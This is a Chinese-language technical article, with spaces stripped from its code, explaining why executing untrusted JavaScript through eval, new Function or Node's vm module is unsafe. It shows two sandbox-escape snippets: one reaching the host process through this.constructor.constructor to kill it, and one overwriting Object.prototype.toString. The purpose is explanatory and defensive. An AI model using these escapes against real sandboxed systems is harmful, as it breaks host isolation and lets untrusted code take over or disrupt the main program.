在一些特殊场景下,我们需要编译执行外部输入的JS代码。在浏览器端,我们可以使用newFunction、eval等API。在节点端,我们可以使用vm模块实现一个沙箱,运行外部输入的JS代码。但无论是在浏览器端还是节点端,这些操作都存在安全隐患。外部输入的JS代码可以利用JS语言的特性,从而破坏主程序的环境。目前笔者了解到,攻击主程序的方式主要有两种。方法一:在创建newFunction和eval时,获取全局变量的特性,破坏主程序的环境。以vm实现沙箱加载外部代码为例:constvm=require('vm');constscript=newvm.Script(`varfoo=(newFunction('returnprocess'))();foo.exit()`)constcontext=vm.createContext({Function:Function})script.runInContext(context)//这里直接退出进程,下面的代码不会执行console.log("processisexited?")这一段代码中,通过外部Function构造函数,生成的函数可以访问外部上下文,获取进程对象,直接退出进程。事实上,如果我们不将Function传递给沙箱,沙箱内部的代码也可以通过JS原型链机制获取外部的Function构造函数:constvm=require('vm');constscript=newvm.Script(`varfoo=(newthis.constructor.constructor('returnprocess'))();foo.exit()`)constcontext=vm.createContext()//不传外部Functionherescript.runInContext(context)//这里直接退出进程,下面的代码不会执行上面sandbox里面的代码console.log("processisexited?"),可以访问沙箱里面的contextthis了contructor属性获取外部Object构造函数,然后直接通过Object构造函数属性获取外部Function构造函数。方法二:通过原型链方式劫持污染同样以vm实现外部代码沙箱加载为例:constvm=require('vm');constscript=newvm.Script(`this.constructor.prototype.toString=function(){console.log("hehe")}`)constcontext=vm.createContext({console:console})script.runInContext(context)leta={name:1}console.log(a,a.toString())内部沙箱代码获取外部Object构造函数,重写原型上的toString方法,达到破坏原型链方法的目的。小结由于JS的一些神奇的语言特性,直接编译执行外部输入的JS代码是一种非常危险的操作。归根结底,要解决一些问题,必须先了解根源。
